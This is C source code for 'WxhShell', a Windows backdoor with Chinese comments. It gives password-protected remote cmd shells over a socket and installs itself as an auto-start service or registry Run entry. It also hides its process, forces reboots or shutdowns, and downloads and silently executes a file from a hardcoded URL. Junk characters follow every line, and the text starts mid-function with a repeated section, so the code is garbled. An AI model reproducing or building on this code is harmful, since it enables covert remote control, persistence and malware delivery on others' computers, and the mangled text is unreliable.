    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \MI2^J N  
    if(Boot(SHUTDOWN)) _Wg?H:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69N/_V  
    else { 3CcCcZ9I  
    closesocket(wsh); h}0}g]IUx  
    ExitThread(0); o^+2%S`]  
    } 2@~.FBby7@  
    break; !LJEo>D  
    } MkLXMwuQ&  
  // 获取shell kD;1+lNz  
  case 's': { wIQ~a  
    CmdShell(wsh); _@2}zT  
    closesocket(wsh); !>RDHu2n  
    ExitThread(0); 71b0MHNkvv  
    break; J PO'1 D)  
  } .Q!_.LX  
  // 退出 M$YU_RPl+  
  case 'x': { Zaime  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B! +rO~  
    CloseIt(wsh); ad)jw:n  
    break; K-,4eq!  
    } X(Z~oGyg  
  // 离开 b'r</ncZ  
  case 'q': { LY:%k|L9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H1Jk_@b  
    closesocket(wsh); -d>2&)5  
    WSACleanup(); `)y<X#[8  
    exit(1); 00SYNG!  
    break; R5Pk>-KF  
        }  m#K)%0  
  } RW-) ({  
  } 05>mRqVL  
YN]xI  
  // 提示信息 $;iMo/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZNDn! Sj  
} +}VaQ8ti4  
  } OCW0$V6;D-  
Ah 2*7@U  
  return; tq$L* ++O  
} %plu]^Vy  
Kd r7 V  
// shell模块句柄 ;O`ZVB  
int CmdShell(SOCKET sock) =y^`yv 3  
{ \qf0=CPw8  
STARTUPINFO si; kz_gR;"(Z  
ZeroMemory(&si,sizeof(si)); z( \4{Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d4~;!#<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YY zUg  
PROCESS_INFORMATION ProcessInfo; b1TIVK3m  
char cmdline[]="cmd"; }]#&U/z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dl]pdg<  
  return 0; Y5{KtW  
} I=[Ir8} ;  
9| g]M:{  
// 自身启动模式 'GI| t  
int StartFromService(void) %g_ )_ ~  
{ 8KyRD1 (-R  
typedef struct _jb' HP  
{ J5TT+FQ  
  DWORD ExitStatus; a`e'HQ  
  DWORD PebBaseAddress; Wu~cy}\  
  DWORD AffinityMask; -1{f(/  
  DWORD BasePriority; 'Z*`~,Q  
  ULONG UniqueProcessId; +0ALO%G;G"  
  ULONG InheritedFromUniqueProcessId; _`I}"`2H  
}   PROCESS_BASIC_INFORMATION; *z'v  
/8#e < p  
PROCNTQSIP NtQueryInformationProcess; ;9CbioO  
a,|Hn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I q?n*P$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9])Id;+91  
,<=gPs;x  
  HANDLE             hProcess; A` ~R\j  
  PROCESS_BASIC_INFORMATION pbi; i/ .#`  
=,b6yV+$D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3+l8VX&u!  
  if(NULL == hInst ) return 0; (_%l[:o6  
1Q_Q-Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KpBOmXE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5e3p9K`5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gvFJ~lL  
S{m:Iij[;  
  if (!NtQueryInformationProcess) return 0; /3#h]5Y"T  
0GlQWRa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sWmqx$  
  if(!hProcess) return 0; \G#_z|'dN  
5X>K#N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %[, R Q">v  
=8v NOvA  
  CloseHandle(hProcess); KE.O>M ,I.  
U!{~L$S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %iB,hGatE  
if(hProcess==NULL) return 0; NCdDG  
-%Rw2@vU  
HMODULE hMod; KPVu-{_Fi  
char procName[255]; 2"T b><^"  
unsigned long cbNeeded; ~:L5Ar<  
#Iu "qu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S{RRlR6Z  
,.kmUd  
  CloseHandle(hProcess); QOX'ZAB`  
<&^[?FdAa  
if(strstr(procName,"services")) return 1; // 以服务启动 Im?/#tX  
k8\ KCKql  
  return 0; // 注册表启动 3@nIoN'z  
} Q<NQ9lX  
]4ck)zlv   
// 主模块 x<`^4|<  
int StartWxhshell(LPSTR lpCmdLine) lVuBo&  
{ b<!' WpY-  
  SOCKET wsl; a@Vk(3Rx_  
BOOL val=TRUE; vz(=3C[  
  int port=0; g(auB/0s  
  struct sockaddr_in door; sSf;j,7V  
9OFH6-;6`\  
  if(wscfg.ws_autoins) Install();  &.(iS  
LF `]=.Q  
port=atoi(lpCmdLine); JMk2OK {0  
8[.&ca/[  
if(port<=0) port=wscfg.ws_port; QLU <%w:B  
2ql)]Skg6  
  WSADATA data; cuC' o\f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KWxTN|>  
?2_h.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,RDWx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9_?<T;]"  
  door.sin_family = AF_INET; _M&n~ r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9B![l=Gh  
  door.sin_port = htons(port); ZeY|JH1  
M3elog:M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fK~8h  
closesocket(wsl); yZ!~m3Q  
return 1; ,{\Ae"{6  
} aS[y\9(**  
ck%.D%=  
  if(listen(wsl,2) == INVALID_SOCKET) { xbxzB<yL  
closesocket(wsl); {Mj- $G"  
return 1; KwV!smi2  
} }9^'etD  
  Wxhshell(wsl); M)ao}m>  
  WSACleanup(); r;)31Tg  
#eN2{G=4+  
return 0; 33KCO  
(f^/KB=  
} !vSq?!y6*P  
tAo$; |  
// 以NT服务方式启动 C:t?HLY)fG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *|j4>W\J  
{ s FJ:09L|  
DWORD   status = 0; *- ~GVe  
  DWORD   specificError = 0xfffffff; +8W5amk.P|  
R>Dr1fc}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ).`v&-cK4E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .%dGSDru  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Lagk   
  serviceStatus.dwWin32ExitCode     = 0; ;&gk)w6*  
  serviceStatus.dwServiceSpecificExitCode = 0; 4%zy$,|e  
  serviceStatus.dwCheckPoint       = 0; Pwj|]0Y@  
  serviceStatus.dwWaitHint       = 0; S(U9Dlyarg  
#>HY+ ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ o2Z5,H  
  if (hServiceStatusHandle==0) return; *iY:R  
8(&6*- 7=  
status = GetLastError(); AbhR*  
  if (status!=NO_ERROR) 8ki3>"!A  
{ F+*fim'NK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t9MCT$U  
    serviceStatus.dwCheckPoint       = 0; l.]wBH#RS  
    serviceStatus.dwWaitHint       = 0; T{^P  
    serviceStatus.dwWin32ExitCode     = status;  r73W. &  
    serviceStatus.dwServiceSpecificExitCode = specificError; z.\r7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]b]J)dDI  
    return; glc<(V  
  } ?{}P#sn  
=-~))!(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {}8C/4iP  
  serviceStatus.dwCheckPoint       = 0; 6]Q#4  
  serviceStatus.dwWaitHint       = 0; si)>:e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SUIJ{!F/  
} livKiX`  
R2?s NlF  
// 处理NT服务事件,比如:启动、停止 ;du},>T$n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QZG<sZ0"  
{ 'K02T:\iZ  
switch(fdwControl) l`l6Y>c*]  
{ f8SO:ihXL  
case SERVICE_CONTROL_STOP: IY8<^Q']  
  serviceStatus.dwWin32ExitCode = 0; i].E1},%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TmftEw>u  
  serviceStatus.dwCheckPoint   = 0; z;P#  
  serviceStatus.dwWaitHint     = 0; F!g1.49""  
  { rNJU & .]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o~e_M-  
  } ]T|$nwQ  
  return; ;-JFb$m  
case SERVICE_CONTROL_PAUSE: !ht2*8$lQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wu<;QY($5  
  break; @k)J i!7  
case SERVICE_CONTROL_CONTINUE: P7zUf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6M`gy|"(~  
  break; Dq<DW2It>  
case SERVICE_CONTROL_INTERROGATE: ?H,f|nc  
  break; vf@j d}?  
}; 1$.svR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;+(_stxqV9  
} /n(0w`   
`p9N| V  
// 标准应用程序主函数 #:N#i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [;7zg@Sa  
{ 4i{Xs5zk  
<9 ^7r J  
// 获取操作系统版本 G1w$lc  
OsIsNt=GetOsVer(); AaxQBTB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q W,:'\G  
~XP|dn}  
  // 从命令行安装 7S 8X)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0>BI[x@  
$#+D:W)az  
  // 下载执行文件 7g]mrI@  
if(wscfg.ws_downexe) { (yi zM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P*?|E@;s`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0;T7fKj  
} ?!jJxhK<h  
`Mt|+iT$p  
if(!OsIsNt) { :L+ xEL  
// 如果时win9x,隐藏进程并且设置为注册表启动 1$Q[%9  
HideProc(); Yb`b /BMR  
StartWxhshell(lpCmdLine); (0#$%US\  
} *yw!Y{e!9  
else U ^GVz%\  
  if(StartFromService()) z8'zH>  
  // 以服务方式启动 q78OP}  
  StartServiceCtrlDispatcher(DispatchTable); o+x! (  
else @v@F%JCZ  
  // 普通方式启动 _eq$C=3Ta  
  StartWxhshell(lpCmdLine); #BcUE?K*N  
41d+z>a]  
return 0; <z2.A/L  
} 6'N_bNW  
 QtG6v<A  
9O-~Ws ;  
`?R{sNr.  
=========================================== _*?qOmf=  
O9d"Z$~n=j  
<`=Kt[_BQ  
hp/pm6  
>KP,67  
kZF<~U  
" CUG"2K9  
\+sa[jK  
#include <stdio.h> Yb<:1?76L  
#include <string.h> h9im S\gfr  
#include <windows.h> W!\%v"  
#include <winsock2.h> kiN,N]-V  
#include <winsvc.h> Spx%`O<  
#include <urlmon.h> r9N?z2X  
v!ai_d^  
#pragma comment (lib, "Ws2_32.lib") fU ;H  
#pragma comment (lib, "urlmon.lib") c CDT27 @  
|5dNJF8;Q  
#define MAX_USER   100 // 最大客户端连接数 6Y\TVRR  
#define BUF_SOCK   200 // sock buffer @{fwM;me]P  
#define KEY_BUFF   255 // 输入 buffer oz.z>+Q  
bcy  
#define REBOOT     0   // 重启 v'?o#_La+  
#define SHUTDOWN   1   // 关机 U7jDm>I  
]nebL{}5  
#define DEF_PORT   5000 // 监听端口 }T\.;$f  
2*O# m  
#define REG_LEN     16   // 注册表键长度 -(WRhBpw  
#define SVC_LEN     80   // NT服务名长度 'v0rnIsI?  
T}msF  
// 从dll定义API N2}Y8aR~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;qUB[Kw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;T0X7MNx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^&mrY[;S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c-(dm:  
H<fi,"X^  
// wxhshell配置信息 # }}6JM  
struct WSCFG { r^msJ|k8[  
  int ws_port;         // 监听端口 >0ZG&W9  
  char ws_passstr[REG_LEN]; // 口令 0U*f"5F  
  int ws_autoins;       // 安装标记, 1=yes 0=no *tRsm"}  
  char ws_regname[REG_LEN]; // 注册表键名 Ag+B*   
  char ws_svcname[REG_LEN]; // 服务名 UcB&p t&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "\}h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CEw%_U@8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NrXIaN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j5:4/vD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~F,Y BX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d`flYNg4  
TW(X#T@Z6I  
}; { ?jXPf  
ic!% }S?  
// default Wxhshell configuration 4[kyzz x  
struct WSCFG wscfg={DEF_PORT, N;-%:nC  
    "xuhuanlingzhe", BxV>s+o&]  
    1, u ynudO  
    "Wxhshell", n CX{tqy   
    "Wxhshell", eXnSH$uI  
            "WxhShell Service", $,/E"G`  
    "Wrsky Windows CmdShell Service", N3\RXXY  
    "Please Input Your Password: ", '-N 5F  
  1, H?Sv6W.~  
  "http://www.wrsky.com/wxhshell.exe", <>f;g "qS  
  "Wxhshell.exe" O:rf DO  
    }; {j`8XWLZZN  
WFk%nO/  
// 消息定义模块 2!W[ff@~7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )i:*r8*~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k\SqDmv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | Z7 j s"  
char *msg_ws_ext="\n\rExit."; :5j+^/   
char *msg_ws_end="\n\rQuit."; ZQKo ]Kdr  
char *msg_ws_boot="\n\rReboot..."; JM/\n 4ea:  
char *msg_ws_poff="\n\rShutdown..."; &0bq3JGW  
char *msg_ws_down="\n\rSave to "; "HqmS  
rX5"p!z  
char *msg_ws_err="\n\rErr!"; }vY^e OK.  
char *msg_ws_ok="\n\rOK!"; ,\&r\!=  
z3L=K9)  
char ExeFile[MAX_PATH]; =ca[*0^Z7  
int nUser = 0; yO@1#  
HANDLE handles[MAX_USER]; ??.aLeF&  
int OsIsNt; 8`)* ?Q9~  
k+"7hf=C|  
SERVICE_STATUS       serviceStatus; w nQy   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Srmr`[i  
',]Aj!q  
// 函数声明 L'KKU4zj  
int Install(void); Qt>kythi  
int Uninstall(void); 0$-|Th:o  
int DownloadFile(char *sURL, SOCKET wsh); zx]r.V  
int Boot(int flag); 9a]o?>`E  
void HideProc(void); k%Tp9x$  
int GetOsVer(void); I;wxgWOP  
int Wxhshell(SOCKET wsl); (vD==n9Hd  
void TalkWithClient(void *cs); E.Th}+  
int CmdShell(SOCKET sock); 3[_WTwX0  
int StartFromService(void); PbS1`8|4  
int StartWxhshell(LPSTR lpCmdLine); *3={s"a.(  
v_U/0 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &XI9%h9|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -^`s#0( y^  
_](y<O^9yO  
// 数据结构和表定义 b5]<!~Fv:`  
SERVICE_TABLE_ENTRY DispatchTable[] = n<FUaR>q}  
{ OMo/a%`  
{wscfg.ws_svcname, NTServiceMain}, |k]]dP|:'  
{NULL, NULL} h~qvd--p0  
}; (7! pc  
HfH_jnR*  
// 自我安装 9SA%'  
int Install(void) %rrD+  
{ %WR"qd&HSh  
  char svExeFile[MAX_PATH]; {%k[Z9*tO  
  HKEY key; *5s*-^'#!  
  strcpy(svExeFile,ExeFile); Z{l`X#':  
9$9a BW  
// 如果是win9x系统,修改注册表设为自启动 "x;FE<I  
if(!OsIsNt) { 9mXmghoCO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vyWx{ @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jz;{,F  
  RegCloseKey(key); FwB xag:u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <v_Wh@m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CXz9bhn<4  
  RegCloseKey(key); FcZ)^RQ4G  
  return 0; reYIF*  
    } lsj9^z7  
  } !@ P{s'<:  
} FxK!h.C.  
else { 'ta&qp  
bW/T}FN D  
// 如果是NT以上系统,安装为系统服务 7 u Q +]d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Syl9j]  
if (schSCManager!=0) |=VWE>g  
{ Df2$2VU  
  SC_HANDLE schService = CreateService ^e_uprZWm  
  ( QALr   
  schSCManager, @J6r;4|&  
  wscfg.ws_svcname, wKfq'W{  
  wscfg.ws_svcdisp, xqlnHf<G  
  SERVICE_ALL_ACCESS, ]xb2W~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e~># M $  
  SERVICE_AUTO_START, ~X<$ l+5  
  SERVICE_ERROR_NORMAL, 7tJ#0to  
  svExeFile, KdZ=g ZSH  
  NULL, G eB-4img  
  NULL, K+L9cv4 |*  
  NULL, +G!# /u1  
  NULL, /?Y4C)G  
  NULL w&es N$2  
  ); k[<i+C";  
  if (schService!=0) #a|r ^%D  
  { o,J8n;"l  
  CloseServiceHandle(schService); V^n=@CZT9C  
  CloseServiceHandle(schSCManager); %)dp a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x+'Ea.^  
  strcat(svExeFile,wscfg.ws_svcname); kDQE*o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l$HBYA\Qh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MZX@Gi<S[  
  RegCloseKey(key); &ns??:\+T  
  return 0; cR55,DR,#W  
    } ih75 C"  
  } 5__B M5|  
  CloseServiceHandle(schSCManager); V}2[chbl  
} ?uP5("c  
} i~<.@&vt  
&"Cy&[  
return 1; U_Mag(^-  
} -<T> paE9  
+Qzl-eN/+  
// 自我卸载 } 21!b :a  
int Uninstall(void) cL#zE  
{ /Gb)BJk!  
  HKEY key; &FZ~n?;hQ  
"_BWUY  
if(!OsIsNt) { !VudZ]Sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +>u 8r&Jw.  
  RegDeleteValue(key,wscfg.ws_regname); C\{hN  
  RegCloseKey(key); ^ rO}'~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pD~."fb  
  RegDeleteValue(key,wscfg.ws_regname); H#nJWe_9A  
  RegCloseKey(key); md\Vw?PkU  
  return 0; 4@ny%_/  
  } J=O_nup6C  
} `tKs|GQf  
} ^foCcO  
else { DI-CC[  
4QiV@#o:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,CqGO %DY  
if (schSCManager!=0) Lke!VS!P&  
{ 2*n~r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z%I 'sWOd  
  if (schService!=0)  aqi]5,  
  { 3_i29ghv  
  if(DeleteService(schService)!=0) { G/(tgQ  
  CloseServiceHandle(schService); wYv++< z  
  CloseServiceHandle(schSCManager); %(\et%[]  
  return 0; n{m[ j+UG  
  } sVnpO$  
  CloseServiceHandle(schService); Eh9{n,5-  
  } l u{6  
  CloseServiceHandle(schSCManager); M4d4b  
} :V)=/mR  
} t|UM2h  
n5fc_N/8O=  
return 1; K[9P{0hA  
} 8KdcU [w]  
5GJa+St?  
// 从指定url下载文件 dg(sRTi{  
int DownloadFile(char *sURL, SOCKET wsh) ^p%3@)&  
{ BGu<1$ G  
  HRESULT hr; z<. 6jx@  
char seps[]= "/"; @zt"Y~9i  
char *token; <hgfgk7<  
char *file; }tH_YF}u  
char myURL[MAX_PATH]; HMKogGTTo  
char myFILE[MAX_PATH]; x IL]Y7HWM  
 Qk.[#  
strcpy(myURL,sURL); 9!Fg1 h=  
  token=strtok(myURL,seps); I "R<XX  
  while(token!=NULL) d=g,s[FMm  
  { !(j<Y0xo:  
    file=token; =C^4nP-  
  token=strtok(NULL,seps); P}!pmg6V  
  } A- #c1KU!  
^'b\OUty-  
GetCurrentDirectory(MAX_PATH,myFILE); g- INhzMu  
strcat(myFILE, "\\"); 7Mh!@Rd_V  
strcat(myFILE, file); R!x /,6,_  
  send(wsh,myFILE,strlen(myFILE),0); PnI_W84z  
send(wsh,"...",3,0); +' .o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Sc*AE&Y  
  if(hr==S_OK) .SWn/Kk  
return 0; 9A\\2Zz6F  
else AC?a:{ ./  
return 1; +KP&D.wIo  
2>^jMln  
} ).MV1@s  
.&KC2#4   
// 系统电源模块 uUv^]B 8GM  
int Boot(int flag) +\cG{n*  
{ t6%zfm   
  HANDLE hToken; 3#`Sk`z<  
  TOKEN_PRIVILEGES tkp; Te>m9Pav  
Z =*h9,MY  
  if(OsIsNt) { J$yJ2G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _+0c<'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `;s#/`c|/  
    tkp.PrivilegeCount = 1; S=`#X,Wo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r!p:73L8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0(A&m ,  
if(flag==REBOOT) { 0\o5+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qcBamf  
  return 0; _=I&zUF  
} ]L\]Ll;  
else { #BI Z|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >H]|R }h  
  return 0; <7MxI@\  
} :*tFW~<*b  
  } ,e*WJh8k[  
  else { };>~P%u32  
if(flag==REBOOT) { <EuS6Pg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8;(3fSNC  
  return 0; ]_! . xx>  
} 6k ]+DbT  
else { Rw!_j!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d!4:nvKx  
  return 0; DC'L-]#<  
} 9u_D@A"aC`  
} G4n-}R&'  
7)x 788Z6  
return 1; W ;P8'_2Y  
} G=KXA'R)1.  
TJ0;xn6o  
// win9x进程隐藏模块 >ZnnGX6$(  
void HideProc(void) N >];xb>  
{ qoC<qn{.a  
8+&Da  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D [K!xq  
  if ( hKernel != NULL ) edfb7prfTl  
  { W`jKe-jF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zm=|#f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9f3rMPVh(  
    FreeLibrary(hKernel); +!-U+W  
  } !<5Wi)*  
~Z ;.n p(T  
return; p3cb_  
} ]P4?jKI  
2-@z-XKn  
// 获取操作系统版本 F@-8J?Hl:  
int GetOsVer(void) 4{ED~w|  
{ mFuHZ)iQG  
  OSVERSIONINFO winfo; 2<uBC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8qv>C)~~`  
  GetVersionEx(&winfo); |I=GI]I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7n'Ww=ttI  
  return 1; %u*HNo  
  else G~zP&9N|  
  return 0; qo:t"x^  
} 7k#0EhN1>  
UH7FIM7kX  
// 客户端句柄模块 a)rT3gl  
int Wxhshell(SOCKET wsl)  75T+6 u  
{ \`>f?}4  
  SOCKET wsh; -dH]_  
  struct sockaddr_in client; V`"Cd?R0Z  
  DWORD myID; d+IN-lR(  
0@}:`OynX  
  while(nUser<MAX_USER) F Xp_`9.zH  
{ f.ws\^v%  
  int nSize=sizeof(client); Z67'/z$0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m=D9V-P  
  if(wsh==INVALID_SOCKET) return 1; BVxk}#d  
cbv%1DT3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }?,Eb~q  
if(handles[nUser]==0) X GDJCN  
  closesocket(wsh); 1 o\COnt  
else ~4`3p=$  
  nUser++;  y7.oy"  
  } ,TQ;DxB}=E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g"X!&$ &  
O7zj8  
  return 0; ?q}:ojrs1  
} \|C~VU@  
{:`XhPS<B  
// 关闭 socket ~{{@m]P  
void CloseIt(SOCKET wsh) C9nCSbGMY{  
{ y:R+;91  
closesocket(wsh); =nG>aAG  
nUser--; 7Q # A  
ExitThread(0); zB#.EW  
} 2%~+c|TH.)  
sO8F0@%aH(  
// 客户端请求句柄 UZ7ukn-  
void TalkWithClient(void *cs) 23P7%\  
{ 3u1\zse  
\&^U9=uq  
  SOCKET wsh=(SOCKET)cs; p)*x7~3e  
  char pwd[SVC_LEN]; OT}P0 ~4s  
  char cmd[KEY_BUFF]; ~Da-|FKa>  
char chr[1]; QT[4\)  
int i,j; G$6mtw6[M  
}n?D#Pk,  
  while (nUser < MAX_USER) { ]oyWJ#8  
>$;,1N $bd  
if(wscfg.ws_passstr) { PS`F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \kC'y9k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d(9C7GLC,  
  //ZeroMemory(pwd,KEY_BUFF); 2mfG: ^^c  
      i=0;  ~5n?=  
  while(i<SVC_LEN) { (kSb74*g  
Vu Ey`c  
  // 设置超时 1cd3m  
  fd_set FdRead; FdS'0#$  
  struct timeval TimeOut; Ksvk5r&y  
  FD_ZERO(&FdRead); O2oF\E_6  
  FD_SET(wsh,&FdRead); Twpk@2=l  
  TimeOut.tv_sec=8; '$q3Ze  
  TimeOut.tv_usec=0; eY3<LVAX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gmtS3,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K,@} 'N  
C@@PLsMg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dG}*M25  
  pwd=chr[0]; k~=P0";  
  if(chr[0]==0xd || chr[0]==0xa) { _ IlRZ}f  
  pwd=0; 3PaMq6Ca  
  break; ^6PKSEba  
  } cC TTjx{  
  i++; MN_1^T5  
    } -5,+gakSk  
f:ep~5] G  
  // 如果是非法用户,关闭 socket 8j8~?=$a6Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qex::Qf  
}  +Q+!#  
``Rg0o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^2"w5F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %WtF\p  
x=V3_HI/}  
while(1) { >* ]B4Q  
,-1d2y  
  ZeroMemory(cmd,KEY_BUFF); M0woJt[&  
q`HK4~i,  
      // 自动支持客户端 telnet标准   __)"-\w-_(  
  j=0; ,~XAV ;+  
  while(j<KEY_BUFF) { G+K`FUNA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -8&P1jrI  
  cmd[j]=chr[0]; 'o1lJ?~kH  
  if(chr[0]==0xa || chr[0]==0xd) { z"V`8D  
  cmd[j]=0; d@ tD0s  
  break; 1c:/c|shQ_  
  } /B5rWJ2AS  
  j++; |i- S}M  
    } 1N+ju"2R  
fP{IW`t}]  
  // 下载文件 bl4I4RB  
  if(strstr(cmd,"http://")) { $A>]lLo0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3OJGBiDAr  
  if(DownloadFile(cmd,wsh)) 1b8}TG2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10m`LG  
  else &}FWpo!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uk4G9}I  
  } 'HvJ]}p  
